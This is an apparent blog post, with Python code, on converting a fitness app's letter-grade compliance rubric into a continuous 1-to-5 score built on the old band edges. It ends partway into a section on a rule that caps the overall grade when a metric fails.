&lt;p&gt;The report card that grades a run against its prescription stopped handing out
letters and started scoring 1 to 5 with fractional precision. Every compliance
metric still reduces to one non-negative relative deviation through one shared
grader; that grader now returns a number instead of one of five letters plus a
plus-or-minus modifier. The interesting part is not the stars. It is that the
new curve was built on the old rubric’s own band edges, so a scale that took
months of tuning to trust carried its calibration across the swap intact.&lt;/p&gt;
&lt;p&gt;That is the technique this walks through: how to replace a discrete scale with a
continuous one without re-earning the trust you already have in it.&lt;/p&gt;
&lt;h2&gt;Measure the scale before you redesign it&lt;/h2&gt;
&lt;p&gt;The honest reason this change happened is that I looked at a stack of my own
report cards and noticed most of them said the same thing. A quarter of all
cards scored a perfect 4.00. Across 240 real cards spanning 730 days, the
plus-or-minus modifier appeared on 545 of 749 graded rows, and A+ alone was 63%
of distance rows, 90% of heart-rate rows and 76% of continuity. The modifier was
telling me a deviation sat in the bottom third of a band whose bottom third held
about seventy percent of everything. That is decoration.&lt;/p&gt;
&lt;p&gt;Before you touch the curve, write the measurement that says whether you have
this problem. It is short, and it is the thing you will re-run afterwards to
prove the change did something.&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&quot;&quot;The discrete grader you already have, plus the measurement that judges it.&quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; collections &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; Counter&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# Each band is (upper edge of relative deviation, label). Anything past the last&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# edge is the floor. These edges are the calibrated part; the letters are not.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;GRADE_BANDS &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; ((&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0.05&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;A&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;), (&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0.10&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;B&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;), (&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0.20&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;C&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;), (&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0.35&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;D&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;FLOOR_LABEL &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;F&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; grade_from_deviation&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(d, widen&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1.0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;&quot;&quot;Relative deviation -&gt; one of five labels. None in, None out.&quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; d &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;is&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; None:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; None&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; edge, label &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; GRADE_BANDS:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; d &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&amp;#x3C;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; edge &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; widen:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;            return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; label&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; FLOOR_LABEL&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; occupancy&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(scores):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;&quot;&quot;How much of your scale the data actually uses.&quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    graded &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [s &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; s &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; scores &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; s &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;is&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; not&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; None]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    counts &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; Counter(graded)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    top &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; counts.most_common(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;        &quot;n&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;len&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(graded),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;        &quot;levels_used&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;len&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(counts),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;        &quot;most_common&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: top[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;        &quot;most_common_share&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;round&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(top[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; len&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(graded), &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Two numbers decide it. &lt;code&gt;levels_used&lt;/code&gt; tells you how many rungs your data
actually reaches, and &lt;code&gt;most_common_share&lt;/code&gt; tells you how much of the mass piles
on one of them. A five-level scale where one level holds 60% of the rows is a
two-level scale wearing a costume.&lt;/p&gt;
&lt;p&gt;Categorising a continuous measurement is a known-expensive move, and the
clinical statistics literature has quantified the bill. Altman and Royston’s
&lt;a href=&quot;https://pmc.ncbi.nlm.nih.gov/articles/PMC1458573/&quot;&gt;note on dichotomising continuous variables&lt;/a&gt;
puts it bluntly: cutting a variable at the median “reduces power by the same
amount as would discarding a third of the data”, and individuals sitting close
together on opposite sides of a cut point “are characterised as being very
different rather than very similar”. A grading rubric is that same trade, made
on purpose for readability. It is worth making only while the buckets are
carrying information.&lt;/p&gt;
&lt;h2&gt;Lift the boundaries out of the old rubric&lt;/h2&gt;
&lt;p&gt;Here is the move that saves the calibration. Do not design a new curve. Take the
band edges you already have, drop the labels, and use the edges as the knots of
a piecewise-linear curve.&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&quot;&quot;The continuous curve. Its knots ARE the old band edges.&quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; grader &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; GRADE_BANDS&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;SCORE_MAX &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 5.0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;SCORE_FLOOR &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 1.0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# The old edges, with the labels dropped. Changing these recalibrates the&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# rubric; that is the whole reason they are lifted from GRADE_BANDS rather&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# than retyped.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;KNOTS &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; tuple&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(edge &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; edge, _label &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; GRADE_BANDS)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# (normalized position, score at that position). Derived, so a change to KNOTS&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# cannot leave the anchors stale.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;ANCHORS &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; ((&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0.0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, SCORE_MAX),) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; tuple&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    (k &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; KNOTS[&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;], SCORE_MAX &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; i) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; i, k &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; enumerate&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(KNOTS)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;SCALE &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; KNOTS[&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]          &lt;/span&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# normalizer: z == 1.0 at the old floor edge&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;NOISE &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;distance&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0.0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;pace&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0.0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;hr&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0.0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; score_from_deviation&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(d, metric, widen&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1.0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;&quot;&quot;Relative deviation -&gt; a continuous score in [SCORE_FLOOR, SCORE_MAX].&quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; d &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;is&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; None:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; None&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    z &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; max&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0.0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, d &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; NOISE[metric]) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (widen &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; SCALE)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; z &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&amp;#x3C;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 0.0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; SCORE_MAX&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; z &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 1.0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; SCORE_FLOOR&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (z0, s0), (z1, s1) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; zip&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(ANCHORS, ANCHORS[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;:]):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; z &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&amp;#x3C;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; z1:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;            return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; s0 &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (s1 &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; s0) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (z &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; z0) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (z1 &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; z0)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; SCORE_FLOOR&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; display_score&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(score, step&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0.25&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;&quot;&quot;Score -&gt; the value the glyphs draw. Rounding is display, never math.&quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; score &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;is&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; None:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; None&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; round&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(score &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; step) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; step&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;KNOTS&lt;/code&gt; is imported, not retyped. That single line is what makes the property
survive a future retune: if someone moves a band edge, both scales move
together, and nobody can quietly reshape the curve while believing the old
validation still applies.&lt;/p&gt;
&lt;p&gt;Deriving &lt;code&gt;ANCHORS&lt;/code&gt; rather than writing them out matters for the same reason. A
hand-written anchor table is a second copy of the boundaries, and second copies
go stale exactly when you are busy thinking about something else.&lt;/p&gt;
&lt;p&gt;The clamping at both ends is deliberate and it is worth copying. It is the same
behaviour NumPy’s own linear interpolation gives you: &lt;code&gt;numpy.interp&lt;/code&gt; returns
&lt;code&gt;fp[0]&lt;/code&gt; for anything below the first sample point and &lt;code&gt;fp[-1]&lt;/code&gt; for anything
above the last, &lt;a href=&quot;https://numpy.org/doc/stable/reference/generated/numpy.interp.html&quot;&gt;by default&lt;/a&gt;.
Past the floor, “how much worse” stops being a useful question. One of my
metrics has a live maximum almost seven times its own floor, and an unsaturated
linear extension would have scored that card somewhere around minus twenty,
dragging any average containing it into nonsense.&lt;/p&gt;
&lt;h2&gt;Make the safety rail arithmetic&lt;/h2&gt;
&lt;p&gt;The old rubric had a rule: a failing grade on any weighted metric pinned the
overall to a C. That rule exists so a card cannot print a comfortable summary
directly above a row that failed. It was a threshold, which means it either
fired or it did not.&lt;/p&gt;
